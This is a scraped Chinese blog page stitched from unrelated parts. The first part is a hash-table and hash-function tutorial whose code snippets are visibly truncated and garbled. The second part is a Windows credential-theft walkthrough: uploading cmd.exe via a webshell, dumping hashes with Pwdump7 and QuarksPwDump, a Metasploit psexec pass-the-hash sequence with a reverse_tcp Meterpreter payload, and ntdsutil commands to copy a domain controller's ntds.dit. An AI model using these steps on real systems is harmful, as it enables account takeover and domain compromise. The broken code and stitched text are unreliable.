      查找过程中,关键码的比较次数,取决于产生冲突的多少,产生的冲突少,查找效率就高,产生的冲突多,查找效率就低。因此,影响产生冲突多少的因素,也就是影响查找效率的因素。影响产生冲突多少有以下三个因素:

      1. 散列函数是否均匀;

      2. 处理冲突的方法;

      3. 散列表的装填因子。

      散列表的装填因子定义为:α= 填入表中的元素个数 / 散列表的长度

      α是散列表装满程度的标志因子。由于表长是定值,α与“填入表中的元素个数”成正比,所以,α越大,填入表中的元素较多,产生冲突的可能性就越大;α越小,填入表中的元素较少,产生冲突的可能性就越小。

      实际上,散列表的平均查找长度是装填因子α的函数,只是不同处理冲突的方法有不同的函数。

      了解了hash基本定义,就不能不提到一些著名的hash算法,MD5 和 SHA-1 可以说是目前应用最广泛的Hash算法,而它们都是以 MD4 为基础设计的。那么他们都是什么意思呢?

      这里简单说一下:

      (1) MD4

      MD4(RFC 1320)是 MIT 的 Ronald L. Rivest 在 1990 年设计的,MD 是 Message Digest 的缩写。它适用在32位字长的处理器上用高速软件实现--它是基于 32 位操作数的位操作来实现的。

      (2) MD5

      MD5(RFC 1321)是 Rivest 于1991年对MD4的改进版本。它对输入仍以512位分组,其输出是4个32位字的级联,与 MD4 相同。MD5比MD4来得复杂,并且速度较之要慢一点,但更安全,在抗分析和抗差分方面表现更好

      (3) SHA-1 及其他

      SHA1是由NIST NSA设计为同DSA一起使用的,它对长度小于264的输入,产生长度为160bit的散列值,因此抗穷举(brute-force)性更好。SHA-1 设计时基于和MD4相同原理,并且模仿了该算法。

      哈希表不可避免冲突(collision)现象:对不同的关键字可能得到同一哈希地址 即key1≠key2,而hash(key1)=hash(key2)。因此,在建造哈希表时不仅要设定一个好的哈希函数,而且要设定一种处理冲突的方法。可如下描述哈希表:根据设定的哈希函数H(key)和所选中的处理冲突的方法,将一组关键字映象到一个有限的地址连续的地址集(区间)上并以关键字在地址集中的“象”作为相应记录在表中的存储位置,这种表被称为哈希表。

      对于动态查找表而言,1) 表长不确定;2)在设计查找表时,只知道关键字所属范围,而不知道确切的关键字。因此,一般情况需建立一个函数关系,以f(key)作为关键字为key的 录在表中的位置,通常称这个函数f(key)为哈希函数。(注意:这个函数并不一定是数学函数)

      哈希函数是一个映象,即:将关键字的集合映射到某个地址集合上,它的设置很灵活,只要这个地址集合的大小不超出允许范围即可。

      现实中哈希函数是需要构造的,并且构造的好才能使用的好。

      那么这些Hash算法到底有什么用呢?

      Hash算法在信息安全方面的应用主要体现在以下的3个方面:

      (1) 文件校验

      我们比较熟悉的校验算法有奇偶校验和CRC校验,这2种校验并没有抗数据篡改的能力,它们一定程度上能检测并纠正数据传输中的信道误码,但却不能防止对数据的恶意破坏。

      MD5 Hash算法的"数字指纹"特性,使它成为目前应用最广泛的一种文件完整性校验和(Checksum)算法,不少Unix系统有提供计算md5 checksum的命令。

      (2) 数字签名

      Hash 算法也是现代密码体系中的一个重要组成部分。由于非对称算法的运算速度较慢,所以在数字签名协议中,单向散列函数扮演了一个重要的角色。 对 Hash 值,又称"数字摘要"进行数字签名,在统计上可以认为与对文件本身进行数字签名是等效的。而且这样的协议还有其他的优点。

      (3) 鉴权协议

      如下的鉴权协议又被称作挑战--认证模式:在传输信道是可被侦听,但不可被篡改的情况下,这是一种简单而安全的方法。

    文件hash值

      MD5-Hash-文件的数字文摘通过Hash函数计算得到。不管文件长度如何,它的Hash函数计算结果是一个固定长度的数字。与加密算法不 同,这一个Hash算法是一个不可逆的单向函数。采用安全性高的Hash算法,如MD5、SHA时,两个不同的文件几乎不可能得到相同的Hash结果。因 此,一旦文件被修改,就可检测出来。

    Hash函数还有另外的含义。实际中的Hash函数是指把一个大范围映射到一个小范围。把大范围映射到一个小范围的目的往往是为了节省空间,使得数据容易保存。除此以外,Hash函数往往应用于查找上。所以,在考虑使用Hash函数之前,需要明白它的几个限制:

    1. Hash的主要原理就是把大范围映射到小范围;所以,你输入的实际值的个数必须和小范围相当或者比它更小。不然冲突就会很多。
    2. 由于Hash逼近单向函数;所以,你可以用它来对数据进行加密。
    3. 不同的应用对Hash函数有着不同的要求;比如,用于加密的Hash函数主要考虑它和单项函数的差距,而用于查找的Hash函数主要考虑它映射到小范围的冲突率。
    应用于加密的Hash函数已经探讨过太多了,在作者的博客里面有更详细的介绍。所以,本文只探讨用于查找的Hash函数。
    Hash函数应用的主要对象是数组(比如,字符串),而其目标一般是一个int类型。以下我们都按照这种方式来说明。
    一般的说,Hash函数可以简单的划分为如下几类:
    1. 加法Hash;
    2. 位运算Hash;
    3. 乘法Hash;
    4. 除法Hash;
    5. 查表Hash;
    6. 混合Hash;
    下面详细的介绍以上各种方式在实际中的运用。
    一 加法Hash
    所谓的加法Hash就是把输入元素一个一个的加起来构成最后的结果。标准的加法Hash的构造如下:

    static int additiveHash(String key, int prime)
    {
     int hash, i;
     for (hash = key.length(), i = 0; i < key.length(); i++)
      hash += key.charAt(i);
     return (hash % prime);
    }

    这里的prime是任意的质数,看得出,结果的值域为[0,prime-1]。

    二 位运算Hash
    这类型Hash函数通过利用各种位运算(常见的是移位和异或)来充分的混合输入元素。比如,标准的旋转Hash的构造如下:

    static int rotatingHash(String key, int prime)
    {
     int hash, i;
     for (hash=key.length(), i=0; i
       hash = (hash<<4>>28)^key.charAt(i);
     return (hash % prime);
    }

    先移位,然后再进行各种位运算是这种类型Hash函数的主要特点。比如,以上的那段计算hash的代码还可以有如下几种变形:

    hash = (hash<<5>>27)^key.charAt(i);
    hash += key.charAt(i);
    hash += (hash << 10);
    hash ^= (hash >> 6);
    if((i&1) == 0)
    {
    hash ^= (hash<<7>>3);
     }
    else
     {
     hash ^= ~((hash<<11>>5));
     }
    hash += (hash<<5>
    hash = key.charAt(i) + (hash<<6>>16) ? hash;
    hash ^= ((hash<<5>>2));

    三 乘法Hash
    这种类型的Hash函数利用了乘法的不相关性(乘法的这种性质,最有名的莫过于平方取头尾的随机数生成算法,虽然这种算法效果并不好)。比如,

    static int bernstein(String key)
    {
     int hash = 0;
     int i;
     for (i=0; i
     return hash;
    }

    jdk5.0里面的String类的hashCode()方法也使用乘法Hash。不过,它使用的乘数是31。推荐的乘数还有:131, 1313, 13131, 131313等等。
    使用这种方式的著名Hash函数还有:

    // 32位FNV算法
    int M_SHIFT = 0;
      public int FNVHash(byte[] data)
      {
          int hash = (int)2166136261L;
          for(byte b : data)
              hash = (hash * 16777619) ^ b;
          if (M_SHIFT == 0)
              return hash;
          return (hash ^ (hash >> M_SHIFT)) & M_MASK;
    }

    以及改进的FNV算法:

    public static int FNVHash1(String data)
    {
          final int p = 16777619;
          int hash = (int)2166136261L;
          for(int i=0;i
              hash = (hash ^ data.charAt(i)) * p;
          hash += hash << 13;
          hash ^= hash >> 7;
          hash += hash << 3;
          hash ^= hash >> 17;
          hash += hash << 5;
          return hash;
    }

    除了乘以一个固定的数,常见的还有乘以一个不断改变的数,比如:

    static int RSHash(String str)
    {
          int b    = 378551;
          int a    = 63689;
          int hash = 0;

         for(int i = 0; i < str.length(); i++)
         {
            hash = hash * a + str.charAt(i);
            a    = a * b;
         }
         return (hash & 0x7FFFFFFF);
    }

    虽然Adler32算法的应用没有CRC32广泛,不过,它可能是乘法Hash里面最有名的一个了。关于它的介绍,大家可以去看RFC 1950规范。

    四 除法Hash
    除法和乘法一样,同样具有表面上看起来的不相关性。不过,因为除法太慢,这种方式几乎找不到真正的应用。需要注意的是,我们在前面看到的hash的 结果除以一个prime的目的只是为了保证结果的范围。如果你不需要它限制一个范围的话,可以使用如下的代码替代”hash%prime”: hash = hash ^ (hash>>10) ^ (hash>>20)。
    五 查表Hash
    查表Hash最有名的例子莫过于CRC系列算法。虽然CRC系列算法本身并不是查表,但是,查表是它的一种最快的实现方式。下面是CRC32的实现:

    static int crctab[256] = {
    0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
    0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
    };
    int crc32(String key, int hash)
    {
    int i;
    for (hash=key.length(), i=0; i
      hash = (hash >> 8) ^ crctab[(hash & 0xff) ^ k.charAt(i)];
    return hash;
    }
    查表Hash中有名的例子有:Universal Hashing和Zobrist Hashing。他们的表格都是随机生成的。

    六 混合Hash
    混合Hash算法利用了以上各种方式。各种常见的Hash算法,比如MD5、Tiger都属于这个范围。它们一般很少在面向查找的Hash函数里面使用。
    展开全文
  •   当你的才华 还撑不起你的野心时 ...破解hash 值提权 0x01 Pwdunp7 破解hash 0x02 GetPass 破解hash 0x03 hash传递入侵 MSF加载 0x04 QuarksPwDump 破解hash 1.使用Quarks PwDump本地帐号...

     


    当你的才华

    还撑不起你的野心时

    那你就应该静下心来学习


    目录

    破解hash 值提权

    0x01 Pwdunp7 破解hash

    0x02 GetPass 破解hash

    0x03 hash传递入侵 MSF加载

    0x04 QuarksPwDump 破解hash

    1.使用Quarks PwDump本地帐号的哈希值

    2. 使用Quarks PwDump导出账号实例(导出本地帐号到文件)

    3. 配合ntdsutil工具导出域控密码(导出快照文件)


     

    破解hash 值提权

    0x01 Pwdunp7 破解hash

    1. 首先查看哪些文件具有读写权限

    2. 选择【上传--文件】——>填写具有读写权限的路径——>选择要上传的文件(Cmd.exe)——>最后点击【上传】按钮

    3. 选择【执行--CMD】,选择刚上传文件的路径,执行ver 命令 

    注:ver 命令,表示查看系统版本号

    4. 将hash 值导入到一个文本里

    shell 路径:你上传文件的路径/cmd.exe

    你上传文件的路径/p7.exe  >   你想讲hash值导出的文本文件的路径

    注:我这里使用的p7 是我缩写名称,全名是:Windows系统密码破解(Pwdump7)

    例如:

    c:\user/p7.exe   >  c:\user\test.txt
     

     

    导出的hash值类似如下:

    5. 然后,使用彩虹表或者cmd5中解密

    粘贴hash 值,点击OK

    点击【Crack】攻击,进行爆破

     

    0x02 GetPass 破解hash

    一款获取计算机用户账号密码的工具

    我们来看看另外一种骚操作,通过MSF 来破解hash 值

    0x03 hash传递入侵 MSF加载

    Msf使用:

    
     
    1. 1. msfconsole   //启动终端
    2. 2. use exploit/windows/smb/psexec //用到模块
    3. 3. show options //查看模块选项属性
    4. 4. set PAYLOAD windows/meterpreter/reverse_tcp   //设置漏洞利用载体
    5. 5. Show targets //查看模块的攻击目标属性
    6. 6. set LHOST xxxxx //设置本机地址
    7. 7. set RHOST xxxxx //设置属性目标主机地址
    8. 8. set SMBUser administrators //设置属性用户
    9. 9. set SMBPass  xxx   //设置属性密文hash 此步骤9,请看下面有解释
    10. 10. exploit //开始攻击
    11. 11. shell //此处基本只要返回正确信息,我们反弹一个shell
    12. # 后面需要查看网络配置或其它一些命令,直接输入就好,如果有点搞忘记了,可以前往CE之前写的博客翻看。

    目标主机的hash值,可以通过Pwdump7这个工具来获取hash值

    就像CE开篇演示的Pwdump7来操作即可,此处就省略操作了,往上翻看就知道怎么操作了

    复制hash 值

     

    0x04 QuarksPwDump 破解hash

          Quarks PwDump 是一个Win32环境下的系统授权信息导出工具,目前除此之外没有任何一款工具可以导出如此全面的信息,支持这么多的OS版本,且相当稳定。

          它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。作者开发这个工具的原因是现在没有一款工具能同时抓取所有类型的hash和Bitlocker信息

    它目前可以导出 :

    
     
    1. Local accounts NT/LM hashes + history 本机NT/LM哈希+历史登录记录 
    2. Domain accounts NT/LM hashes + history 域中的NT/LM哈希+历史登录记录 
    3. Cached domain password 缓存中的域管理密码 
    4. Bitlocker recovery information (recovery passwords & key packages) 使用Bitlocker的恢复后遗留的信息

    支持的操作系统 : XP/2003/Vista/7/2008/81 / USAGE

    1.使用Quarks PwDump本地帐号的哈希值

          Quarks PwDump必须在Dos命令提示符下运行,直接运行QuarksPwDumpv0.2b.exe,如图1所示,默认显示帮助信息,其参数含义如下:

        • dhl  导出本地哈希值

        • dhdc导出内存中的域控哈希值

        • dhd  导出域控哈希值,必须指定NTDS文件

        • db  导出Bitlocker信息,必须指定NTDS文件

        • nt   导出ntds文件

        • hist  导出历史信息,可选项

        • t   导出类型可选默认导出为John类型。

        • o   导出文件到本地

    2. 使用Quarks PwDump导出账号实例(导出本地帐号到文件)

          使用命令" QuarksPwDumpv0.2b.exe -dhl -o1.txt " 将导出本地哈希值到当前目录的1.txt,执行命令会显示导出帐号的数量.

    如下图,可看到显示有3个帐号导出到1.txt,打开1.txt可以看到导出哈希值的具体帐号和值。

     

    3. 配合ntdsutil工具导出域控密码(导出快照文件)

    Ntdsutil.exe是一个为 Active Directory 提供管理设施的命令行工具。可使用Ntdsutil.exe 执行Active Directory的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用Active Directory安装向导 (DCPromo.exe)成功降级的域控制器留下的元数据。Ntdsutil还可以用来获取域控数据库ntds.dit文件

    具体命令如下:

    (1)创建快照

    ntdsutil  snapshot  "activate  instance ntds"  create  quit quit
     

    (2)Ntdsutil挂载活动目录的快照

    ntdsutil  snapshot  "mount {GUID}"  quit quit
     

    {GUID}为动态获取的,如下图所示

    (3)复制快照的本地磁盘

    copy MOUNT_POINT\windows\NTDS\ntds.dit c:\ntds.dit
     

    (4)卸载快照

    ntdsutil  snapshot  "unmount {GUID}"  quit quit
     

    (5)删除快照

    ntdsutil  snapshot  "delete {GUID}"  quit quit
     

     

    使用命令" QuarksPwDump.exe --dump-hash-domain--ntds-file c:\ntds.dit "将导出的ntds.dit文件中哈希值全面导出。

    一个完整的实例如下:

    tdsutil snapshot  "activate  instance ntds"  create  quit quit

    ntdsutil snapshot  "mount{a0455f6c-40c3-4b56-80a0-80261471522c}" quit  quit

    快照 {5e0d92d3-992d-42b9-bbd5-9c85e5dc7827} 已掛接為 C:\$SNAP_201212082315_VOLUM

    EC$\

    copy C:\$SNAP_201212082315_VOLUMEC$\windows\NTDS\ntds.dit  c:\ntds.dit

    ntdsutil snapshot  "unmount{5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}" quit  quit

    ntdsutil snapshot  "delete{5e0d92d3-992d-42b9-bbd5-9c85e5dc7827}" quit  quit

    QuarksPwDump.exe --dump-hash-domain --ntds-filec:\ntds.dit

    说明:

          获取哈希值最好都在同一台服务器上执行,也即将QuarksPwDump.exe直接放在导出ntds.dit服务器上,执行导出命令。

          如果仅仅将ntds.dit复制后下载本地可能会出现无法读取错误。网上也曾经出现一个NTDS.dit密码快速提取工具ntdsdump,读者可以自己进行测试。如果是想下载ntds.dit到本地恢复还需要执行“reg save hklm\system system.hive”,将system.hive和ntds.dit全部复制到本地进行域控密码获取。

    参考链接:https://blog.51cto.com/simeon/1744314

    参考链接:https://blog.csdn.net/u011781521/article/details/68067709

     


    我不需要自由,只想背着她的梦

    一步步向前走,她给的永远不重


     

    展开全文
  • 什么Hash

    2020-02-19 13:12:57
    什么Hash Hash也称散列、哈希。基本原理就是把任意长度的输入,通过Hash算法变成固定长度的输出。这个映射的规则就是Hash算法,而原始数据映射后的二进制串就是哈希值。 函数把消息或数据压缩成摘要,使得数据量变...
  • Hash,一般翻译为“散列”,也直接音译为“哈希”的,就是把任意长度的输入(又叫做预映射,pre-image),通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是散列值的空间...
  • hash破解-hashcat

    千次阅读 2020-04-29 10:30:14
    hashcat破解hash值自己...在渗透测试中我们经常会碰到一些加密处理的一串hash的在线的网站可能无法解密,我们就可以hashcat进行密码恢复。 今天使用JohnTheRipper中的zip2john.exe对加密zip获取哈希值,使用h...
  • 什么Hash算法

    千次阅读 2014-05-04 21:34:56
    哈希(Hash)算法
  • Hash算法

    2015-09-16 21:58:14
     Hash,一般翻译做“散列”,也直接音译为“哈希”的,就是把任意长度的输入(又叫做预映射, pre-image),通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是,散列值的...
  • Hash 函数

    2015-05-04 14:58:45
    散列表(Hash table,也叫哈希表),是根据关键码值儿直接进行访问的数据结构。也就是说,它通过把关键码值映射到表中一个位置访问记录,以加快查找的速度。这个影色函数叫做散列函数,存放纪录的数组叫做散列表。...
  • 什么hash

    2009-05-07 11:57:33
    Hash,一般翻译做“散列”,也直接音译为"哈希"的,就是把任意长度的输入(又叫做预映射, pre-image),通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是,散列...
  • hash算法

    2013-10-21 23:34:09
    Hash,一般翻译做“散列”,也直接音译为“哈希”的,就是把任意长度的输入(又叫做预映射, pre-image),通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是,散列值的空间...
  • Hash问题

    2019-05-25 14:51:00
    一、哈希函数 1.1 什么是哈希函数  哈希函数(Hash Function),也称为散列函数。...服务器存了10个文本文件,你现在想判断一个新的文本文件和那10个文件有没有一个是一样的。你不可能去比对每个文本里...
  • Hash软件开发中常见,面临大数据处理的时候,不同的算法选用会带来不同的性能体验。Hash软件开发必须掌握的重点知识,也是面试中常见的考。跟随我的Hash系列文章来从Hash原理、常见Hash算法运用、算法考题剖析来...
  • Hash软件开发中常见,面临大数据处理的时候,不同的算法选用会带来不同的性能体验。Hash软件开发必须掌握的重点知识,也是面试中常见的考。跟随我的Hash系列文章来从Hash原理、常见Hash算法运用、算法考题剖析来...
  • 到底什么hash 它起什么作用

    千次阅读 2018-11-16 12:32:45
    到底什么hash 它起什么作用
  • hash 算法

    2019-09-21 05:54:14
    Hash,一般翻译做“散列”,也直接音译为“哈希”的,就是把任意长度的输入(又叫做预映射, pre-image),通过散列算法,变换成固定长度的输出,该输出就是散列值。这种转换是一种压缩映射,也就是,散列值的空间...
  • Hash Collision DoS

    千次阅读 2017-08-19 17:39:45
    Hash Collision DoS事件及影响  Hash Collision DoS能让受攻击的服务器变得巨慢无比。 这不是因为服务器的编码原因或是疏忽造成的,而是程序语言自身的问题,Hash Collision DoS利用了各语言中Hash算法...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 85,376
精华内容 34,150
关键字:

有没有好的hash软件